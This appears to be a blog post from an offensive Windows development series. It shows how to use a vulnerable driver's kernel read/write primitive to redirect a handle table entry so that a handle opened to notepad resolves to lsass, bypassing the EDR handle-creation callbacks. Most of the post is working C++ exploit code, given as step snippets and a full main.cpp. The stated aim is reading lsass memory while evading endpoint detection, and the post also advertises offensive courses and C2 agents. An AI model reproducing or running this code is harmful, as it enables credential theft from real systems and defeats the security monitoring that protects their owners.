August 25, 2026
Handle Redirect
Welcome to this new Medium post. In this one we will see how to redirect a handle’s kernel object pointer to a different EPROCESS, getting…

By S12 - 0x12Dark Development
16 min read
Welcome to this new Medium post. In this one we will see how to redirect a handle's kernel object pointer to a different EPROCESS, getting a fully functional handle to a sensitive process without any kernel callback ever seeing the operation. Basically, we avoid the telemetry of the OpenProcess function
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ real…
Introduction
This post assumes you are familiar with Windows kernel internals, BYOVD, and kernel R/W primitives. If you have not read the previous posts in the series, go do that first. We will use an arbitrary kernel read/write primitive throughout the implementation
Post list:
List: BYOVD | Curated by S12 - 0x12Dark Development | Medium BYOVD · 17 stories on Medium
ObRegisterCallback: EDR products register callbacks on handle creation via ObRegisterCallbacks. Every time your process calls OpenProcess on lsass (or any process), the EDR sees it and can strip your access rights before the handle reaches you
The technique in this post avoids that entirely. We never call OpenProcess on lsass. We just call OpenProcess to a dummy process and then redirect the handle pointer to point directly the lsass process
Methodology
To understand why this works, you need to understand how the kernel resolves a handle to an object. The chain is:
_EPROCESS
We start in the EPROCESS structure, the representation of a process in the Windows kernel:
https://www.vergiliusproject.com/kernels/x64/windows-11/25h2/_EPROCESS
_HANDLE_TABLE
Inside the EPROCESS we go to the offset 0x300:
struct _HANDLE_TABLE* ObjectTable; //0x300struct _HANDLE_TABLE* ObjectTable; //0x300Every process has a _HANDLE_TABLE that tracks all its open handles. It holds a TableCode field that encodes the base address of the actual handle entries array, where each entry maps a handle value to a kernel object
https://www.vergiliusproject.com/kernels/x64/windows-11/25h2/_HANDLE_TABLE
And that's exactly where we go now, inside EPROCESS->ObjectTable we search for the offset 0x8:
volatile ULONGLONG TableCode; //0x8volatile ULONGLONG TableCode; //0x8TableCode decoding
TableCode is not a raw pointer. It encodes two things in a single 64-bit value:
Bits [0:1]: the level, which tells the kernel how many indirection layers the table has (0 = single page, 1 = two-level, 2 = three-level)
Bits [2:63]: the actual base address of the _HANDLE_TABLE_ENTRY array
To decode it:
DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;With tableBase resolved, the address of any handle entry is calculated as:
entryAddress = tableBase + (handleValue / 4) * 16;entryAddress = tableBase + (handleValue / 4) * 16;handleValue / 4 converts the handle to an index (handles are multiples of 4), and each entry is 16 bytes. This gives us the exact memory address of the _HANDLE_TABLE_ENTRY for that handle
So now we got the _HANDLE_TABLE_ENTRY:
https://www.vergiliusproject.com/kernels/x64/windows-11/25h2/_HANDLE_TABLE_ENTRY
//0x10 bytes (sizeof)
union _HANDLE_TABLE_ENTRY
{
volatile LONGLONG VolatileLowValue; //0x0
LONGLONG LowValue; //0x0
struct
{
struct _HANDLE_TABLE_ENTRY_INFO* volatile InfoTable; //0x0
LONGLONG HighValue; //0x8
union _HANDLE_TABLE_ENTRY* NextFreeHandleEntry; //0x8
struct _EXHANDLE LeafHandleValue; //0x8
};
LONGLONG RefCountField; //0x0
ULONGLONG Unlocked:1; //0x0
ULONGLONG RefCnt:16; //0x0
ULONGLONG Attributes:3; //0x0
struct
{
ULONGLONG ObjectPointerBits:44; //0x0
ULONG GrantedAccessBits:25; //0x8
ULONG NoRightsUpgrade:1; //0x8
ULONG Spare1:6; //0x8
};
ULONG Spare2; //0xc
};//0x10 bytes (sizeof)
union _HANDLE_TABLE_ENTRY
{
volatile LONGLONG VolatileLowValue; //0x0
LONGLONG LowValue; //0x0
struct
{
struct _HANDLE_TABLE_ENTRY_INFO* volatile InfoTable; //0x0
LONGLONG HighValue; //0x8
union _HANDLE_TABLE_ENTRY* NextFreeHandleEntry; //0x8
struct _EXHANDLE LeafHandleValue; //0x8
};
LONGLONG RefCountField; //0x0
ULONGLONG Unlocked:1; //0x0
ULONGLONG RefCnt:16; //0x0
ULONGLONG Attributes:3; //0x0
struct
{
ULONGLONG ObjectPointerBits:44; //0x0
ULONG GrantedAccessBits:25; //0x8
ULONG NoRightsUpgrade:1; //0x8
ULONG Spare1:6; //0x8
};
ULONG Spare2; //0xc
};In this one we got a lot of inforation, but here, we got two interesting fields the GrantedAccessBits, if you remember that is what we patched in one of the previous posts to elevate permissions on an existing handle.
But today we are searching for the ObjectPointerBits.
ObjectPointerBits in bits [20:63] stores the address of the _OBJECT_HEADER of the kernel object this handle refers to, shifted by 4. The low 20 bits are used for metadata and must be preserved when we write back
So the unique thing left is decode the pointer:
address = ObjectPointerBits << 4address = ObjectPointerBits << 4And that address lands directly on the _OBJECT_HEADER of the object. The actual object body (in our case the _EPROCESS) sits at +0x030 inside that header
This is the field we are going to patch. If we replace ObjectPointerBits with the encoded address of lsass _OBJECT_HEADER, the kernel will resolve our notepad handle straight to the lsass process
Implementation
Get ntoskrnl base and open the driver
vector<KernelDriver> drivers = GetSortedKernelDrivers();
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
HANDLE drv = openVulnDriver();vector<KernelDriver> drivers = GetSortedKernelDrivers();
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
HANDLE drv = openVulnDriver();Get your own EPROCESS and open notepad
DWORD pid = GetCurrentProcessId();
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
DWORD notepadPID = getPIDbyProcName("notepad.exe");
if (notepadPID == 0) {
cout << "[-] notepad.exe not running" << endl;
return 1;
}
HANDLE hNotepad = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, notepadPID);
if (hNotepad == NULL) {
cout << "[-] OpenProcess failed: " << GetLastError() << endl;
return 1;
}DWORD pid = GetCurrentProcessId();
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
DWORD notepadPID = getPIDbyProcName("notepad.exe");
if (notepadPID == 0) {
cout << "[-] notepad.exe not running" << endl;
return 1;
}
HANDLE hNotepad = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, notepadPID);
if (hNotepad == NULL) {
cout << "[-] OpenProcess failed: " << GetLastError() << endl;
return 1;
}Walk to the handle table entry
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
DWORD64 tableBase = tableCode & ~0x3ULL;
DWORD64 handleValue = (DWORD64)hNotepad;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;
DWORD64 lowQword = 0;
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress, sizeof(DWORD64));DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
DWORD64 tableBase = tableCode & ~0x3ULL;
DWORD64 handleValue = (DWORD64)hNotepad;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;
DWORD64 lowQword = 0;
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress, sizeof(DWORD64));Get lsass EPROCESS
DWORD lsassPid = getPIDbyProcName("lsass.exe");
DWORD64 eprocessLsass = getEPROCESS(drv, ntoskrnlBase, lsassPid);
if (eprocessLsass == 0) {
cout << "[-] Failed to get lsass EPROCESS" << endl;
return 1;
}DWORD lsassPid = getPIDbyProcName("lsass.exe");
DWORD64 eprocessLsass = getEPROCESS(drv, ntoskrnlBase, lsassPid);
if (eprocessLsass == 0) {
cout << "[-] Failed to get lsass EPROCESS" << endl;
return 1;
}Patch ObjectPointerBits
DWORD64 lsassObjectHeader = eprocessLsass - 0x30;
// Preserve metadata bits 0-19
DWORD64 metadataBits = lowQword & 0xFFFFFULL;
// Encode new ObjectPointerBits (bits 20-63)
DWORD64 objectPointerBits = (lsassObjectHeader >> 4) & 0xFFFFFFFFFFFULL;
DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));DWORD64 lsassObjectHeader = eprocessLsass - 0x30;
// Preserve metadata bits 0-19
DWORD64 metadataBits = lowQword & 0xFFFFFULL;
// Encode new ObjectPointerBits (bits 20-63)
DWORD64 objectPointerBits = (lsassObjectHeader >> 4) & 0xFFFFFFFFFFFULL;
DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));Verify and restore
DWORD resolvedPid = GetProcessId(hNotepad);
if (resolvedPid == lsassPid) {
cout << "[+] SUCCESS: hNotepad resolves to lsass" << endl;
}
// Use the handle here: ReadProcessMemory, etc.
// Restore
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
cout << "[+] Restored original ObjectPointerBits" << endl;DWORD resolvedPid = GetProcessId(hNotepad);
if (resolvedPid == lsassPid) {
cout << "[+] SUCCESS: hNotepad resolves to lsass" << endl;
}
// Use the handle here: ReadProcessMemory, etc.
// Restore
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
cout << "[+] Restored original ObjectPointerBits" << endl;Full Code
main.cpp
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <algorithm>
#include <vector>
#include "DrvOps.h"
#include "GetOffsets.h"
using namespace std;
struct offsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 ObjectTable;
ULONG64 PsInitialSystemProcess;
DWORD64 ObHeaderCookie;
} g_offsets = {
};
typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;
}
std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
const int SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);
if (status != 0) return driverList; // STATUS_SUCCESS = 0
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if (ntoskrnlBase == 0)
{
std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
return 0;
}
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; // Get EPROCESS of the System process (PID 4)
cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
getchar();
// Open Driver
getchar();
// Read Primitive to get EPROCESS structure from System Process
DWORD64 systemEPROCESS = 0;
BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << systemEPROCESS << endl;
// Make sure that the EPROCESS is not from the PID 4 (System)
DWORD systemPid = 0;
BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) {
return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
}
// Walk through the whole list
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
cout << "headList address :" << headList << endl;
// Get first process
DWORD64 firstProcess = 0;
BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
if (!readFirstResult) {
cout << "Failed getting first process" << endl;
}
cout << "First Flink: " << firstProcess << endl;
DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
cout << "Starting while " << endl;
while (currentProcess != headList && counter < 5000) {
counter++;
DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
cout << "Checking EPROCESS " << eprocess << endl;
// Read PID
DWORD currentPid = 0;
BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (!readPIDResult) {
cout << "Error getting current PID " << endl;
}
cout << "Current PID " << currentPid << endl;
if (currentPid == pid) {
cout << "Correct EPROCESS Found " << endl;
return eprocess;
}
// Read next one
DWORD64 nextProcess = 0;
BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
if (!readNextResult) {
cout << "Error getting next result " << endl;
}
currentProcess = nextProcess;
}
cout << "PID Not found after checking all processes " << endl;
return 0;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int main(){
cout << "Hello World!\n";
// 1. Enable SeDebugPrivilege for the current process
BOOL setPriv = EnableSeDebugPrivilege();
// 2. Get offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) {
printf("\n[-] Failed to resolve kernel offsets\n");
return 1;
}
printf("\n[+] Offsets resolved\n");
g_offsets.ObjectTable = off.ObjectTable;
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
g_offsets.ObHeaderCookie = off.ObHeaderCookie;
printf("ObjectTable: 0x%llX\n", (unsigned long long)g_offsets.ObjectTable);
printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
printf("ObHeaderCookie: 0x%llX\n", (unsigned long long)g_offsets.ObHeaderCookie);
// 3. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();
// 4. Get ntoskrnl.exe address
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
getchar();
HANDLE drv = openVulnDriver();
DWORD pid = GetCurrentProcessId();
// 5. Get EPROCESS of the target process
DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);
// 6. Open notepad.exe process
DWORD notepadPID = getPIDbyProcName("notepad.exe");
HANDLE hNotepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, notepadPID);
// 7. Find ObjectTable
DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
cout << "eprocess: " << hex << eprocess << endl;
cout << "ObjectTable off: " << hex << g_offsets.ObjectTable << endl;
cout << "objectTableAddr: " << hex << objectTableAddr << endl;
if (eprocess == 0) {
cout << "[-] eprocess is NULL, stopping" << endl;
return 1;
}
getchar();
getchar();
DWORD64 handleTablePtr = 0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr, sizeof(DWORD64));
cout << "HandleTable ptr: " << hex << handleTablePtr << endl;
getchar();
DWORD64 tableCode = 0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr + 0x8), sizeof(DWORD64));
DWORD64 level = tableCode & 0x3;
DWORD64 tableBase = tableCode & ~0x3ULL;
cout << "TableCode: " << hex << tableCode << " | Level: " << level << " | TableBase: " << tableBase << endl;
getchar();
DWORD64 handleValue = (DWORD64)hNotepad;
DWORD64 entryAddress = tableBase + (handleValue / 4) * 16;
cout << "Entry address for notepad handle: " << hex << entryAddress << endl;
getchar();
// Read Low QWORD (ObjectPointerBits)
DWORD64 lowQword = 0;
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)(entryAddress), sizeof(DWORD64));
cout << "Low QWORD (encoded obj ptr): " << hex << lowQword << endl;
getchar();
DWORD lsassPid = getPIDbyProcName("lsass.exe");
DWORD64 eprocessLsass = getEPROCESS(drv, ntoskrnlBase, lsassPid);
cout << "Lsass eprocess " << hex << eprocessLsass << endl;
getchar();
// 8. ObHeaderCookie (not needed for ObjectPointerBits encoding, kept for reference)
DWORD64 obHeaderCookieAddr = ntoskrnlBase + off.ObHeaderCookie;
BYTE cookie = 0;
ReadPrimitive(drv, &cookie, (LPVOID)(uintptr_t)obHeaderCookieAddr, sizeof(BYTE));
cout << "[+] ObHeaderCookie: " << hex << (int)cookie << endl;
// 9. Calculate lsass _OBJECT_HEADER (eprocessLsass - 0x30)
DWORD64 lsassObjectHeader = eprocessLsass - 0x30;
cout << "[+] Lsass OBJECT_HEADER: " << hex << lsassObjectHeader << endl;
// 10. Preserve metadata bits (bits 0-19): Unlocked + RefCnt + Attributes
DWORD64 metadataBits = lowQword & 0xFFFFFULL;
cout << "[+] Metadata bits: " << hex << metadataBits << endl;
// 11. Encode new ObjectPointerBits (bits 20-63): objectHeader >> 4, 44 bits
DWORD64 objectPointerBits = (lsassObjectHeader >> 4) & 0xFFFFFFFFFFFULL;
DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;
cout << "[+] Original lowQword: " << hex << lowQword << endl;
cout << "[+] New lowQword: " << hex << newLowQword << endl;
// 12. Write new lowQword to entryAddress (patch ObjectPointerBits)
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));
cout << "[+] ObjectPointerBits patched" << endl;
// 13. Verify: GetProcessId via hNotepad should now return lsass PID
DWORD resolvedPid = GetProcessId(hNotepad);
cout << "[+] PID via redirected handle: " << dec << resolvedPid << endl;
cout << "[+] Expected lsass PID: " << dec << lsassPid << endl;
if (resolvedPid == lsassPid) {
cout << "[+] SUCCESS: hNotepad now resolves to lsass" << endl;
}
else {
cout << "[-] Redirect failed" << endl;
}
getchar();
getchar();
getchar();
return 0;
// 14. Restore original lowQword
}#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <algorithm>
#include <vector>
#include "DrvOps.h"
#include "GetOffsets.h"
using namespace std;
struct offsets {
ULONG64 ActiveProcessLinks;
ULONG64 UniqueProcessId;
ULONG64 ObjectTable;
ULONG64 PsInitialSystemProcess;
DWORD64 ObHeaderCookie;
} g_offsets = {
};
typedef struct _SYSTEM_MODULE_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32_t Size;
};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
if (drivers.empty()) {
return 0;
}
for (const auto& drv : drivers) {
std::string nameLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
nameLower.find("ntkrnl") != std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;
}
std::vector<KernelDriver> GetSortedKernelDrivers() {
std::vector<KernelDriver> driverList;
auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation) return driverList;
ULONG len = 0;
const int SystemModuleInformation = 11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);
if (status != 0) return driverList; // STATUS_SUCCESS = 0
auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
KernelDriver drv;
drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push_back(drv);
}
std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;
});
return driverList;
}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
if (ntoskrnlBase == 0)
{
std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
return 0;
}
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess; // Get EPROCESS of the System process (PID 4)
cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
getchar();
// Open Driver
getchar();
// Read Primitive to get EPROCESS structure from System Process
DWORD64 systemEPROCESS = 0;
BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
cout << "System EPROCESS: " << systemEPROCESS << endl;
// Make sure that the EPROCESS is not from the PID 4 (System)
DWORD systemPid = 0;
BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
cout << "System PID: " << systemPid << endl;
if (systemPid == pid) {
return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
}
// Walk through the whole list
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
cout << "headList address :" << headList << endl;
// Get first process
DWORD64 firstProcess = 0;
BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
if (!readFirstResult) {
cout << "Failed getting first process" << endl;
}
cout << "First Flink: " << firstProcess << endl;
DWORD64 currentProcess = firstProcess;
int counter = 0;
getchar();
cout << "Starting while " << endl;
while (currentProcess != headList && counter < 5000) {
counter++;
DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
cout << "Checking EPROCESS " << eprocess << endl;
// Read PID
DWORD currentPid = 0;
BOOL readPIDResult = ReadPrimitive(drv, ¤tPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
if (!readPIDResult) {
cout << "Error getting current PID " << endl;
}
cout << "Current PID " << currentPid << endl;
if (currentPid == pid) {
cout << "Correct EPROCESS Found " << endl;
return eprocess;
}
// Read next one
DWORD64 nextProcess = 0;
BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
if (!readNextResult) {
cout << "Error getting next result " << endl;
}
currentProcess = nextProcess;
}
cout << "PID Not found after checking all processes " << endl;
return 0;
}
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
}
CloseHandle(hSnap);
return pid;
}
BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
int main(){
cout << "Hello World!\n";
// 1. Enable SeDebugPrivilege for the current process
BOOL setPriv = EnableSeDebugPrivilege();
// 2. Get offsets
KernelOffsets off{};
if (!ResolveKernelOffsets(off)) {
printf("\n[-] Failed to resolve kernel offsets\n");
return 1;
}
printf("\n[+] Offsets resolved\n");
g_offsets.ObjectTable = off.ObjectTable;
g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
g_offsets.UniqueProcessId = off.UniqueProcessId;
g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
g_offsets.ObHeaderCookie = off.ObHeaderCookie;
printf("ObjectTable: 0x%llX\n", (unsigned long long)g_offsets.ObjectTable);
printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
printf("ObHeaderCookie: 0x%llX\n", (unsigned long long)g_offsets.ObHeaderCookie);
// 3. List all drivers
vector<KernelDriver> drivers = GetSortedKernelDrivers();
// 4. Get ntoskrnl.exe address
DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
getchar();
HANDLE drv = openVulnDriver();
